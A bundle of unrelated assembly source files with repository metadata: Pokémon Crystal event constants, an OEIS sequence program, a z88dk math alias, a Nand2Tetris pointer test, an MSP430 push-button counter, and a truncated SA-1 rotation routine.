EVENT_DRAGONS_DEN_B1F_DRAGON_FANG const EVENT_TOHJO_FALLS_MOON_STONE const EVENT_ROUTE_26_MAX_ELIXER const EVENT_ROUTE_27_TM_SOLARBEAM const EVENT_ROUTE_27_RARE_CANDY const EVENT_ROUTE_29_POTION const EVENT_ROUTE_31_POTION const EVENT_ROUTE_31_POKE_BALL const EVENT_ROUTE_32_GREAT_BALL const EVENT_ROUTE_32_REPEL const EVENT_ROUTE_35_TM_ROLLOUT const EVENT_ROUTE_42_ULTRA_BALL const EVENT_ROUTE_42_SUPER_POTION const EVENT_ROUTE_43_MAX_ETHER const EVENT_ROUTE_44_MAX_REVIVE const EVENT_ROUTE_44_ULTRA_BALL const EVENT_ROUTE_45_NUGGET const EVENT_ROUTE_45_REVIVE const EVENT_ROUTE_45_ELIXER const EVENT_ROUTE_45_MAX_POTION const EVENT_ROUTE_46_X_SPEED ; Johto people const EVENT_RIVAL_NEW_BARK_TOWN const EVENT_RIVAL_CHERRYGROVE_CITY const EVENT_RIVAL_AZALEA_TOWN const EVENT_RIVAL_TEAM_ROCKET_BASE const EVENT_RIVAL_GOLDENROD_UNDERGROUND const EVENT_RIVAL_VICTORY_ROAD const EVENT_RIVAL_OLIVINE_CITY const EVENT_RIVAL_SPROUT_TOWER const EVENT_RIVAL_BURNED_TOWER const EVENT_RIVAL_DRAGONS_DEN const EVENT_PLAYERS_HOUSE_MOM_1 const EVENT_PLAYERS_HOUSE_MOM_2 const EVENT_MR_POKEMONS_HOUSE_OAK const EVENT_VIOLET_CITY_EARL const EVENT_EARLS_ACADEMY_EARL const EVENT_GOLDENROD_CITY_ROCKET_SCOUT const EVENT_GOLDENROD_CITY_ROCKET_TAKEOVER const EVENT_RADIO_TOWER_ROCKET_TAKEOVER const EVENT_GOLDENROD_CITY_CIVILIANS const EVENT_RADIO_TOWER_CIVILIANS_AFTER const EVENT_RADIO_TOWER_BLACKBELT_BLOCKS_STAIRS const EVENT_OLIVINE_LIGHTHOUSE_JASMINE const EVENT_OLIVINE_GYM_JASMINE const EVENT_LAKE_OF_RAGE_LANCE const EVENT_MAHOGANY_MART_LANCE_AND_DRAGONITE const EVENT_TEAM_ROCKET_BASE_B2F_LANCE const EVENT_TEAM_ROCKET_BASE_B3F_LANCE_PASSWORDS const EVENT_DRAGONS_DEN_CLAIR const EVENT_TEAM_ROCKET_BASE_SECURITY_GRUNTS const EVENT_TEAM_ROCKET_BASE_POPULATION const EVENT_TEAM_ROCKET_BASE_B3F_EXECUTIVE const EVENT_ROUTE_43_GATE_ROCKETS const EVENT_TEAM_ROCKET_BASE_B2F_EXECUTIVE const EVENT_TEAM_ROCKET_BASE_B2F_GRUNT_WITH_EXECUTIVE const EVENT_TEAM_ROCKET_BASE_B2F_DRAGONITE const EVENT_TEAM_ROCKET_BASE_B2F_ELECTRODE_1 const EVENT_TEAM_ROCKET_BASE_B2F_ELECTRODE_2 const EVENT_TEAM_ROCKET_BASE_B2F_ELECTRODE_3 const EVENT_BLACKTHORN_CITY_SUPER_NERD_BLOCKS_GYM const EVENT_BLACKTHORN_CITY_SUPER_NERD_DOES_NOT_BLOCK_GYM const EVENT_DAY_CARE_MAN_IN_DAY_CARE const EVENT_DAY_CARE_MAN_ON_ROUTE_34 const EVENT_DAY_CARE_MON_1 const EVENT_DAY_CARE_MON_2 const EVENT_ILEX_FOREST_FARFETCHD const EVENT_ROUTE_34_ILEX_FOREST_GATE_TEACHER_BEHIND_COUNTER const EVENT_ROUTE_34_ILEX_FOREST_GATE_LASS const EVENT_ROUTE_34_ILEX_FOREST_GATE_TEACHER_IN_WALKWAY const EVENT_ILEX_FOREST_LASS const EVENT_COPYCAT_1 const EVENT_COPYCAT_2 const EVENT_GOLDENROD_SALE_OFF const EVENT_GOLDENROD_SALE_ON const EVENT_6F2 const EVENT_ILEX_FOREST_APPRENTICE const EVENT_ILEX_FOREST_CHARCOAL_MASTER const EVENT_CHARCOAL_KILN_FARFETCH_D const EVENT_CHARCOAL_KILN_APPRENTICE const EVENT_CHARCOAL_KILN_BOSS const EVENT_ROUTE_36_SUDOWOODO const EVENT_AZALEA_TOWN_SLOWPOKES const EVENT_AZALEA_TOWN_SLOWPOKETAIL_ROCKET const EVENT_SLOWPOKE_WELL_SLOWPOKES const EVENT_SLOWPOKE_WELL_ROCKETS const EVENT_KURTS_HOUSE_SLOWPOKE const EVENT_GUIDE_GENT_IN_HIS_HOUSE const EVENT_GUIDE_GENT_VISIBLE_IN_CHERRYGROVE const EVENT_OAKS_AIDE_IN_CERULEAN_POKEMON_CENTER const EVENT_ELMS_AIDE_IN_LAB const EVENT_COP_IN_ELMS_LAB const EVENT_RUINS_OF_ALPH_OUTSIDE_SCIENTIST const EVENT_RUINS_OF_ALPH_RESEARCH_CENTER_SCIENTIST const EVENT_RUINS_OF_ALPH_INNER_CHAMBER_TOURISTS const EVENT_BOULDER_IN_BLACKTHORN_GYM_1 const EVENT_BOULDER_IN_BLACKTHORN_GYM_2 const EVENT_BOULDER_IN_BLACKTHORN_GYM_3 const EVENT_BOULDER_IN_ICE_PATH_1 const EVENT_BOULDER_IN_ICE_PATH_2 const EVENT_BOULDER_IN_ICE_PATH_3 const EVENT_BOULDER_IN_ICE_PATH_4 const EVENT_BOULDER_IN_ICE_PATH_1A const EVENT_BOULDER_IN_ICE_PATH_2A const EVENT_BOULDER_IN_ICE_PATH_3A const EVENT_BOULDER_IN_ICE_PATH_4A const EVENT_MYSTERY_GIFT_DELIVERY_GUY const EVENT_MET_BILL const EVENT_ECRUTEAK_POKE_CENTER_BILL const EVENT_ROUTE_30_BATTLE const EVENT_ROUTE_30_YOUNGSTER_JOEY const EVENT_BUG_CATCHING_CONTESTANT_1A const EVENT_BUG_CATCHING_CONTESTANT_2A const EVENT_BUG_CATCHING_CONTESTANT_3A const EVENT_BUG_CATCHING_CONTESTANT_4A const EVENT_BUG_CATCHING_CONTESTANT_5A const EVENT_BUG_CATCHING_CONTESTANT_6A const EVENT_BUG_CATCHING_CONTESTANT_7A const EVENT_BUG_CATCHING_CONTESTANT_8A const EVENT_BUG_CATCHING_CONTESTANT_9A const EVENT_BUG_CATCHING_CONTESTANT_10A const EVENT_BUG_CATCHING_CONTESTANT_1B const EVENT_BUG_CATCHING_CONTESTANT_2B const EVENT_BUG_CATCHING_CONTESTANT_3B const EVENT_BUG_CATCHING_CONTESTANT_4B const EVENT_BUG_CATCHING_CONTESTANT_5B const EVENT_BUG_CATCHING_CONTESTANT_6B const EVENT_BUG_CATCHING_CONTESTANT_7B const EVENT_BUG_CATCHING_CONTESTANT_8B const EVENT_BUG_CATCHING_CONTESTANT_9B const EVENT_BUG_CATCHING_CONTESTANT_10B const EVENT_OLIVINE_PORT_SAILOR_AT_GANGWAY const EVENT_VERMILION_PORT_SAILOR_AT_GANGWAY const EVENT_FAST_SHIP_1F_GENTLEMAN const EVENT_FAST_SHIP_CABINS_NNW_NNE_NE_SAILOR const EVENT_FAST_SHIP_B1F_SAILOR_LEFT const EVENT_FAST_SHIP_B1F_SAILOR_RIGHT const EVENT_FAST_SHIP_CABINS_SE_SSE_GENTLEMAN const EVENT_FAST_SHIP_CABINS_SE_SSE_CAPTAINS_CABIN_TWIN_1 const EVENT_FAST_SHIP_CABINS_SE_SSE_CAPTAINS_CABIN_TWIN_2 const EVENT_OLIVINE_PORT_PASSAGE_POKEFAN_M const EVENT_ROUTE_35_NATIONAL_PARK_GATE_YOUNGSTER const EVENT_LAKE_OF_RAGE_CIVILIANS const EVENT_MAHOGANY_MART_OWNERS const EVENT_OLIVINE_PORT_SPRITES_BEFORE_HALL_OF_FAME const EVENT_OLIVINE_PORT_SPRITES_AFTER_HALL_OF_FAME const EVENT_FAST_SHIP_PASSENGERS_FIRST_TRIP const EVENT_FAST_SHIP_PASSENGERS_EASTBOUND const EVENT_FAST_SHIP_PASSENGERS_WESTBOUND const EVENT_TIN_TOWER_ROOF_HO_OH const EVENT_WHIRL_ISLAND_LUGIA_CHAMBER_LUGIA const EVENT_KURTS_HOUSE_KURT_1 const EVENT_KURTS_HOUSE_KURT_2 const EVENT_SLOWPOKE_WELL_KURT ; 740 const EVENT_PLAYERS_HOUSE_2F_CONSOLE const EVENT_PLAYERS_HOUSE_2F_DOLL_1 const EVENT_PLAYERS_HOUSE_2F_DOLL_2 const EVENT_PLAYERS_HOUSE_2F_BIG_DOLL const EVENT_ROUTE_35_NATIONAL_PARK_GATE_OFFICER_CONTEST_DAY const EVENT_ROUTE_35_NATIONAL_PARK_GATE_OFFICER_NOT_CONTEST_DAY const EVENT_ROUTE_36_NATIONAL_PARK_GATE_OFFICER_CONTEST_DAY const EVENT_ROUTE_36_NATIONAL_PARK_GATE_OFFICER_NOT_CONTEST_DAY const EVENT_GOLDENROD_TRAIN_STATION_GENTLEMAN const EVENT_BURNED_TOWER_B1F_BEASTS_1 const EVENT_BURNED_TOWER_B1F_BEASTS_2 const EVENT_BLACKTHORN_CITY_GRAMPS_BLOCKS_DRAGONS_DEN const EVENT_BLACKTHORN_CITY_GRAMPS_NOT_BLOCKING_DRAGONS_DEN const EVENT_RUINS_OF_ALPH_KABUTO_CHAMBER_RECEPTIONIST const EVENT_OPENED_MT_SILVER const EVENT_FOUGHT_SNORLAX ; 750 const EVENT_LAKE_OF_RAGE_RED_GYARADOS const EVENT_GOLDENROD_UNDERGROUND_GRANNY const EVENT_GOLDENROD_UNDERGROUND_GRAMPS const EVENT_GOLDENROD_UNDERGROUND_OLDER_HAIRCUT_BROTHER const EVENT_GOLDENROD_UNDERGROUND_YOUNGER_HAIRCUT_BROTHER const EVENT_MAHOGANY_TOWN_POKEFAN_M_BLOCKS_EAST const EVENT_MAHOGANY_TOWN_POKEFAN_M_BLOCKS_GYM const EVENT_ROUTE_32_FRIEDA_OF_FRIDAY const EVENT_ROUTE_29_TUSCANY_OF_TUESDAY const EVENT_ROUTE_36_ARTHUR_OF_THURSDAY const EVENT_ROUTE_37_SUNNY_OF_SUNDAY const EVENT_LAKE_OF_RAGE_WESLEY_OF_WEDNESDAY const EVENT_BLACKTHORN_CITY_SANTOS_OF_SATURDAY const EVENT_ROUTE_40_MONICA_OF_MONDAY const EVENT_LANCES_ROOM_OAK_AND_MARY const EVENT_UNION_CAVE_B2F_LAPRAS ; 760 const EVENT_TEAM_ROCKET_DISBANDED const EVENT_RED_IN_MT_SILVER const EVENT_GOLDENROD_DEPT_STORE_5F_HAPPINESS_EVENT_LADY const EVENT_BURNED_TOWER_MORTY const EVENT_BURNED_TOWER_1F_EUSINE const EVENT_RANG_CLEAR_BELL_1 const EVENT_RANG_CLEAR_BELL_2 const EVENT_FLORIA_AT_FLOWER_SHOP const EVENT_FLORIA_AT_SUDOWOODO const EVENT_GOLDENROD_CITY_MOVE_TUTOR const EVENT_GOLDENROD_GAME_CORNER_MOVE_TUTOR ; Kanto people const EVENT_ROUTE_24_ROCKET const EVENT_CERULEAN_GYM_ROCKET const EVENT_ROUTE_25_MISTY_BOYFRIEND const EVENT_TRAINERS_IN_CERULEAN_GYM const EVENT_VERMILION_CITY_SNORLAX ; 770 const EVENT_ROUTE_5_6_POKEFAN_M_BLOCKS_UNDERGROUND_PATH const EVENT_SAFFRON_TRAIN_STATION_POPULATION const EVENT_COPYCATS_HOUSE_2F_DOLL const EVENT_VERMILION_FAN_CLUB_DOLL const EVENT_BLUE_IN_CINNABAR const EVENT_VIRIDIAN_GYM_BLUE const EVENT_SEAFOAM_GYM_GYM_GUY const EVENT_MT_MOON_SQUARE_ROCK const EVENT_MT_MOON_SQUARE_CLEFAIRY const EVENT_MT_MOON_RIVAL const EVENT_INDIGO_PLATEAU_POKECENTER_RIVAL const EVENT_TELEPORT_GUY ; Kanto itemballs const EVENT_PICKED_UP_FOCUS_BAND const EVENT_ROCK_TUNNEL_1F_ELIXER const EVENT_ROCK_TUNNEL_1F_TM_STEEL_WING const EVENT_ROCK_TUNNEL_B1F_IRON ; 780 const EVENT_ROCK_TUNNEL_B1F_PP_UP const EVENT_ROCK_TUNNEL_B1F_REVIVE const EVENT_ROUTE_2_DIRE_HIT const EVENT_ROUTE_2_MAX_POTION const EVENT_ROUTE_2_CARBOS const EVENT_ROUTE_2_ELIXER const EVENT_ROUTE_4_HP_UP const EVENT_ROUTE_12_CALCIUM const EVENT_ROUTE_12_NUGGET const EVENT_ROUTE_15_PP_UP const EVENT_ROUTE_25_PROTEIN ; New to Crystal const EVENT_KURTS_HOUSE_GRANDDAUGHTER_1 const EVENT_KURTS_HOUSE_GRANDDAUGHTER_2 const EVENT_RUINS_OF_ALPH_OUTSIDE_TOURIST_FISHER const EVENT_RUINS_OF_ALPH_OUTSIDE_TOURIST_YOUNGSTERS const EVENT_DRAGON_SHRINE_CLAIR ; 790 const EVENT_BATTLE_TOWER_BATTLE_ROOM_YOUNGSTER const EVENT_PLAYERS_HOUSE_1F_NEIGHBOR const EVENT_PLAYERS_NEIGHBORS_HOUSE_NEIGHBOR const EVENT_PICKED_UP_GOLD_BERRY_FROM_HO_OH_ITEM_ROOM const EVENT_PICKED_UP_MYSTERYBERRY_FROM_HO_OH_ITEM_ROOM const EVENT_PICKED_UP_REVIVAL_HERB_FROM_HO_OH_ITEM_ROOM const EVENT_PICKED_UP_CHARCOAL_FROM_HO_OH_ITEM_ROOM const EVENT_PICKED_UP_BERRY_FROM_KABUTO_ITEM_ROOM const EVENT_PICKED_UP_PSNCUREBERRY_FROM_KABUTO_ITEM_ROOM const EVENT_PICKED_UP_HEAL_POWDER_FROM_KABUTO_ITEM_ROOM const EVENT_PICKED_UP_ENERGYPOWDER_FROM_KABUTO_ITEM_ROOM const EVENT_PICKED_UP_MYSTERYBERRY_FROM_OMANYTE_ITEM_ROOM const EVENT_PICKED_UP_MYSTIC_WATER_FROM_OMANYTE_ITEM_ROOM const EVENT_PICKED_UP_STARDUST_FROM_OMANYTE_ITEM_ROOM const EVENT_PICKED_UP_STAR_PIECE_FROM_OMANYTE_ITEM_ROOM const EVENT_PICKED_UP_GOLD_BERRY_FROM_AERODACTYL_ITEM_ROOM ; 7a0 const EVENT_PICKED_UP_MOON_STONE_FROM_AERODACTYL_ITEM_ROOM const EVENT_PICKED_UP_HEAL_POWDER_FROM_AERODACTYL_ITEM_ROOM const EVENT_PICKED_UP_ENERGY_ROOT_FROM_AERODACTYL_ITEM_ROOM const EVENT_AZALEA_TOWN_KURT const EVENT_ILEX_FOREST_KURT const EVENT_MOUNT_MORTAR_1F_INSIDE_MAX_POTION const EVENT_MOUNT_MORTAR_1F_INSIDE_NUGGET const EVENT_ECRUTEAK_GYM_GRAMPS const EVENT_ECRUTEAK_CITY_GRAMPS const EVENT_EUSINE_IN_BURNED_TOWER const EVENT_WISE_TRIOS_ROOM_WISE_TRIO_1 const EVENT_WISE_TRIOS_ROOM_WISE_TRIO_2 const EVENT_CIANWOOD_CITY_EUSINE const EVENT_SAW_SUICUNE_AT_CIANWOOD_CITY const EVENT_SAW_SUICUNE_ON_ROUTE_42 const EVENT_SAW_SUICUNE_ON_ROUTE_36 ; 7b0 const EVENT_ECRUTEAK_TIN_TOWER_ENTRANCE_WANDERING_SAGE const EVENT_TIN_TOWER_1F_SUICUNE const EVENT_TIN_TOWER_1F_ENTEI const EVENT_TIN_TOWER_1F_RAIKOU const EVENT_TIN_TOWER_1F_EUSINE const EVENT_TIN_TOWER_1F_WISE_TRIO_1 const EVENT_SET_WHEN_FOUGHT_HO_OH const EVENT_ROUTE_30_ANTIDOTE const EVENT_ILEX_FOREST_X_ATTACK const EVENT_ILEX_FOREST_ANTIDOTE const EVENT_ILEX_FOREST_ETHER const EVENT_ROUTE_34_NUGGET const EVENT_ROUTE_44_MAX_REPEL const EVENT_ICE_PATH_1F_PROTEIN const EVENT_DRAGONS_DEN_B1F_CALCIUM const EVENT_DRAGONS_DEN_B1F_MAX_ELIXER ; 7c0 const EVENT_SILVER_CAVE_ROOM_1_ULTRA_BALL const EVENT_SILVER_CAVE_ROOM_2_CALCIUM const EVENT_SILVER_CAVE_ROOM_2_ULTRA_BALL const EVENT_SILVER_CAVE_ROOM_2_PP_UP const EVENT_TIN_TOWER_1F_WISE_TRIO_2 const EVENT_TIN_TOWER_6F_MAX_POTION const EVENT_TIN_TOWER_9F_HP_UP const EVENT_MOUNT_MORTAR_1F_INSIDE_IRON const EVENT_MOUNT_MORTAR_1F_INSIDE_ULTRA_BALL const EVENT_MOUNT_MORTAR_B1F_FULL_RESTORE const EVENT_MOUNT_MORTAR_B1F_MAX_ETHER const EVENT_MOUNT_MORTAR_B1F_PP_UP const EVENT_RADIO_TOWER_5F_ULTRA_BALL const EVENT_DARK_CAVE_VIOLET_ENTRANCE_DIRE_HIT const EVENT_BATTLE_TOWER_OUTSIDE_SAILOR NUM_EVENTS EQU const_value ; 7d0
29.818663
139
0.89552
7857359bb3125a07151d842832bb5bb017bbd140
439
asm
Assembly
programs/oeis/140/A140721.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/140/A140721.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/140/A140721.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A140721: Alternated reading of A000302 and negated A002042. ; 1,-7,4,-28,16,-112,64,-448,256,-1792,1024,-7168,4096,-28672,16384,-114688,65536,-458752,262144,-1835008,1048576,-7340032,4194304,-29360128,16777216,-117440512,67108864,-469762048,268435456,-1879048192,1073741824 mov $2,$0 mod $2,2 mov $4,2 pow $4,$0 add $0,9 mov $1,$4 mul $2,$4 mov $3,9 lpb $0,1 mov $0,1 mul $1,2 mul $3,$2 sub $1,$3 lpe sub $1,2 div $1,2 add $1,1
20.904762
213
0.681093
3c5ea97cd20c8a6ebbe78fc8d1141f08bf02446c
114
asm
Assembly
libsrc/_DEVELOPMENT/math/float/math48/lm/z80/asm_islessequal.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/math48/lm/z80/asm_islessequal.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/math48/lm/z80/asm_islessequal.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
SECTION code_fp_math48 PUBLIC asm_islessequal EXTERN am48_islessequal defc asm_islessequal = am48_islessequal
12.666667
39
0.868421
92e2fc8acd25c143c6c62e4bcfcf6876620f48fd
1,263
asm
Assembly
projects/07/MemoryAccess/PointerTest/PointerTest.asm
SpyrosDellas/from-nand-to-tetris
8c7bc664e6ea4eba43a6c1fd381ed12984063420
[ "MIT" ]
null
null
null
projects/07/MemoryAccess/PointerTest/PointerTest.asm
SpyrosDellas/from-nand-to-tetris
8c7bc664e6ea4eba43a6c1fd381ed12984063420
[ "MIT" ]
null
null
null
projects/07/MemoryAccess/PointerTest/PointerTest.asm
SpyrosDellas/from-nand-to-tetris
8c7bc664e6ea4eba43a6c1fd381ed12984063420
[ "MIT" ]
null
null
null
@START 0;JMP (EQ) @R13 M=D @SP AM=M-1 D=M A=A-1 D=D-M M=0 @END_EQ D;JNE @SP A=M-1 M=-1 (END_EQ) @R13 A=M 0;JMP (GT) @R13 M=D @SP AM=M-1 D=M A=A-1 D=M-D M=0 @END_GT D;JLE @SP A=M-1 M=-1 (END_GT) @R13 A=M 0;JMP (LT) @R13 M=D @SP AM=M-1 D=M A=A-1 D=M-D M=0 @END_LT D;JGE @SP A=M-1 M=-1 (END_LT) @R13 A=M 0;JMP (START) // push constant 3030 @3030 D=A @SP A=M M=D @SP M=M+1 // pop pointer 0 @SP AM=M-1 D=M @R3 M=D // push constant 3040 @3040 D=A @SP A=M M=D @SP M=M+1 // pop pointer 1 @SP AM=M-1 D=M @R4 M=D // push constant 32 @32 D=A @SP A=M M=D @SP M=M+1 // pop this 2 @THIS D=M @2 D=D+A @R13 M=D @SP AM=M-1 D=M @R13 A=M M=D // push constant 46 @46 D=A @SP A=M M=D @SP M=M+1 // pop that 6 @THAT D=M @6 D=D+A @R13 M=D @SP AM=M-1 D=M @R13 A=M M=D // push pointer 0 @R3 D=M @SP A=M M=D @SP M=M+1 // push pointer 1 @R4 D=M @SP A=M M=D @SP M=M+1 // add @SP AM=M-1 D=M A=A-1 M=D+M // push this 2 @THIS D=M @2 A=D+A D=M @SP A=M M=D @SP M=M+1 // sub @SP AM=M-1 D=M A=A-1 M=M-D // push that 6 @THAT D=M @6 A=D+A D=M @SP A=M M=D @SP M=M+1 // add @SP AM=M-1 D=M A=A-1 M=D+M
6.221675
22
0.470309
43b3c0be036800f2a2fba34138dc310b7feac66c
6,746
asm
Assembly
Lab2 Programs/counter.asm
RioWeil/PHYS319-MSP430
906ca3049e195a2cd897ca3744d4b48e6a8b3504
[ "MIT" ]
null
null
null
Lab2 Programs/counter.asm
RioWeil/PHYS319-MSP430
906ca3049e195a2cd897ca3744d4b48e6a8b3504
[ "MIT" ]
null
null
null
Lab2 Programs/counter.asm
RioWeil/PHYS319-MSP430
906ca3049e195a2cd897ca3744d4b48e6a8b3504
[ "MIT" ]
null
null
null
.include "msp430g2553.inc" org 0xc000 START: ;This is a label we'll use later ;to refer to this position mov #0x0400, SP ;Initialize the stack pointer mov.w #WDTPW|WDTHOLD, &WDTCTL ;Disable the watchdog mov.b #11110111b, &P1DIR ;Set all Port 1 pins, except 1.3 as output ; This block of code just to initialize the display to 4 zeros (blank) mov.b #00001111b, &P1OUT ; Sets first display to 0 mov.b #00001110b, &P1OUT ; Sets strobe-L to update the board (P1.0 to 0) mov.b #00001111b, &P1OUT ; Sets strobe-H again. (P1.0 to 1) mov.b #00001101b, &P1OUT ; Sets second display to 0 mov.b #00001100b, &P1OUT ; Sets strobe-L to update the board mov.b #00001101b, &P1OUT ; Sets strobe-H mov.b #00001011b, &P1OUT ; Sets third display to 0 mov.b #00001010b, &P1OUT ; Sets strobe-L to update the board mov.b #00001011b, &P1OUT ; Sets strobe-H mov.b #00001001b, &P1OUT ; Sets fourth display to 0 mov.b #00001000b, &P1OUT ; Sets strobe-L to update the board mov.b #00001001b, &P1OUT ; Sets strobe-H mov.b #00001000b, &P1REN ; Enable pulldown resistor on P1.3 mov.b #00001000b, &P1IE ; Enable input at P1.3 as an interrupt mov.w #0000000000001001b, R7 ; Binary code to set P1.0 (strobe) to high, P1.1-P1.2 (A0-A1) to low, and 0000 to P1.7-P1.4 (D3-D0) mov.w #0000000000001000b, R8 ; Same as R8, but P1.0 set to low (For switching down the strobe). These two control first digit. mov.w #0000000000001011b, R9 ; Binary code to set P1.0 (strobe) to high, P1.2 (A1) high, P1.1 (A0) low. 0000 to P1.7-P1.4 (D3-D0) mov.w #0000000000001010b, R10 ; Same as R9, but P1.0 set to low (For switching down the strobe). These two control second digit. mov.w #0000000000001101b, R11 ; Same as above, but P1.2 low, P1.1 high mov.w #0000000000001100b, R12 ; Same as R11, but P1.0 set to low (For switching down the strobe). These two control third digit. mov.w #0000000000001111b, R13 ; Same as above, but P1.2-P1.1 both high mov.w #0000000000001110b, R14 ; Same as R13, but P1.0 set to low (For switching down the strobe). These two control fourth digit. mov.w #0000000000010000b, R15 ; Stores 000100000 in register 15; this will be used to increment the counter when we press button. EINT ; Global enable interrupt. Has to be enabled for interrupt to occur when P1.3 goes from high to low. bis.w #CPUOFF,SR ; Turns the bits indicated by the source on in the destination. ; CPUOFF is a binary number that is a word, sets bits in status register. ; If bits are set in the status register, it will stop executing PUSH: add.b R15, R7 add.b R15, R8 ; Incremenets R7, R8 by one using value in R15 cmp.b #10101001b, R7 jeq disp2 ; If comparison is true (i.e. register holds value greater than 9) then go to function that sets 2nd display mov.b R7, &P1OUT ; Update first display mov.b R8, &P1OUT ; Sets strobe-L to update the board (P1.0 to 0) mov.b R7, &P1OUT ; Sets strobe-H again. (P1.0 to 1) bic.b #00001000b, &P1IFG ; bitclear in P1interrupt flag register. Clearing the bit that holds the interrupt flag reti ; return from interrupt disp2: mov.w #0000000000001001b, R7 ; Reset register 7 to initial state (zero) mov.w #0000000000001000b, R8 ; Reset register 8 to initial state (zero) mov.b R7, &P1OUT ; Sets first display to 0 mov.b R8, &P1OUT ; Sets strobe-L to update the board (P1.0 to 0) mov.b R7, &P1OUT ; Sets strobe-H again. (P1.0 to 1) add.b R15, R9 add.b R15, R10 ; Increments R9, R10 by one using value in R15 cmp.b #10101011b, R9 jeq disp3 ; If comparison is true (i.e. register holds value greater than 9) then go to function that sets 3rd display mov.b R9, &P1OUT ; Update second display mov.b R10, &P1OUT ; Sets strobe-L to update the board (P1.0 to 0) mov.b R9, &P1OUT ; Sets strobe-H again. (P1.0 to 1) bic.b #00001000b, &P1IFG ; bitclear in P1interrupt flag register. Clearing the bit that holds the interrupt flag reti ; return from interrupt disp3: mov.w #0000000000001011b, R9 ; Reset register 9 to initial state (zero) mov.w #0000000000001010b, R10 ; Reset register 10 to initial state (zero) mov.b R9, &P1OUT ; Sets second display to 0 mov.b R10, &P1OUT ; Sets strobe-L to update the board (P1.0 to 0) mov.b R9, &P1OUT ; Sets strobe-H again. (P1.0 to 1) add.b R15, R11 add.b R15, R12 ; Increments R11, R12 by one by using value in R15 cmp.b #10101101b, R11 jeq disp4 ; If comparison is true (i.e. register holds value greater than 9) then go to function that sets 4th display mov.b R11, &P1OUT ; Update third display mov.b R12, &P1OUT ; Sets strobe-L to update the board (P1.0 to 0) mov.b R11, &P1OUT ; Sets strobe-H again. (P1.0 to 1) bic.b #00001000b, &P1IFG ; bitclear in P1interrupt flag register. Clearing the bit that holds the interrupt flag reti ; return from interrupt disp4: mov.w #0000000000001101b, R11 ; Reset register 11 to initial state (zero) mov.w #0000000000001100b, R12 ; Reset register 12 to initial state (zero) mov.b R11, &P1OUT ; Sets third display to 0 mov.b R12, &P1OUT ; Sets strobe-L to update the board (P1.0 to 0) mov.b R11, &P1OUT ; Sets strobe-H again. (P1.0 to 1) add.b R15, R13 add.b R15, R14 ; Increments R13, R14 by one by using value in R15 cmp.b #10101111b, R13 jeq START ; Go back to start (reset everything) if we hit 9999 mov.b R13, &P1OUT ; Update fourth display mov.b R14, &P1OUT ; Sets strobe-L to update the board (P1.0 to 0) mov.b R13, &P1OUT ; Sets strobe-H again. (P1.0 to 1) org 0xffe4 ; This is the location in memory that the chip after you push the button P1.3 dw PUSH org 0xfffe ;Load the reset vector with the dw START ;location of the program start after power up or reset
54.845528
145
0.600356
2cd297949037affb0526c4a4386a6e7530f250fd
733
asm
Assembly
consoles/dos/src/input.asm
tcr/paxconsola
0fca2fd3fe131a8f522b7e50f56c7e7897d342bc
[ "MIT" ]
6
2020-01-15T07:25:07.000Z
2021-12-27T23:45:44.000Z
consoles/dos/src/input.asm
tcr/paxconsola
0fca2fd3fe131a8f522b7e50f56c7e7897d342bc
[ "MIT" ]
1
2021-08-30T04:15:47.000Z
2021-08-30T04:15:47.000Z
consoles/dos/src/input.asm
tcr/paxconsola
0fca2fd3fe131a8f522b7e50f56c7e7897d342bc
[ "MIT" ]
1
2020-01-10T16:10:10.000Z
2020-01-10T16:10:10.000Z
K_UP equ 48h K_LEFT equ 4Bh K_RIGHT equ 4Dh K_DOWN equ 50h poll_keyboard: mov ax, 0 mov [KEYBOARD_VALUE],ax xor ax, ax in al, 60h test al, 0x80 jz .update_buffer ; no key ret .update_buffer: mov cx,0 cmp al,K_UP jnz .not_up mov cx,ASCII_UP .not_up: cmp al,K_DOWN jnz .not_down mov cx,ASCII_DOWN .not_down: cmp al,K_LEFT jnz .not_left mov cx,ASCII_LEFT .not_left: cmp al,K_RIGHT jnz .not_right mov cx,ASCII_RIGHT .not_right: ; Store latest value mov [KEYBOARD_VALUE],cx ; Jump to start of buffer ret
16.288889
33
0.523874
37eb2487d93dbdd2cbdb53cb3952a1233e1567c0
3,474
asm
Assembly
asm/sa1/rotate_yaxis.asm
VitorVilela7/SMW-CodeLib
003827dbf59907718789d1d46bbb0f30f7e728d6
[ "Unlicense" ]
14
2018-11-27T05:20:10.000Z
2021-10-10T22:12:31.000Z
asm/sa1/rotate_yaxis.asm
kaizoman666/SMW-CodeLib
62e2ac86ed8fecb5e811174fbfa5c3ee984517b9
[ "Unlicense" ]
null
null
null
asm/sa1/rotate_yaxis.asm
kaizoman666/SMW-CodeLib
62e2ac86ed8fecb5e811174fbfa5c3ee984517b9
[ "Unlicense" ]
2
2018-11-28T04:43:48.000Z
2021-03-27T11:16:34.000Z
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; SA-1 32x32 "y axis" rotation ; parallel mode service ; turn off service: set $8b.7 ; destination bw-ram "virtual ram" & bw-ram !dest = $600000+($3e00*2) ;stuff !destbw = $403e00 ; temp ram ($e0-$ff) !re = $e0 ;$e0-$e3 is reserved !cos = $e4 ;$e4-$e5 is cosine value !dx = $e6 ;$e6-$e7 is initial x !x = $e8 ;$e8-$e9 is current x !y = $ea ;$ea-$eb is current y !ly = $ec ;$ec-$ed is reserved !deg = $ee ;8-bit degress. !deg2 = $ef ;8-bit degress. (backup) !ptr = $f0 ;$f0-$f2 is current pointer parallel_main: phb phk plb - lda $8b bmi .end lda !deg2 cmp !deg beq - sta !deg2 jsr .rotate bra - .end plb rtl .rotate sei lda #$01 sta $2250 ; division rep #$30 lda !deg and #$00ff asl tax lda.w .cos_table,x sta !cos ; grab cos lda #$7fff ; invert cos value. (1/x) sta $2251 lda !cos bne + inc + bpl + eor #$ffff inc + sta $2253 nop bra $00 lda $2306 asl cmp 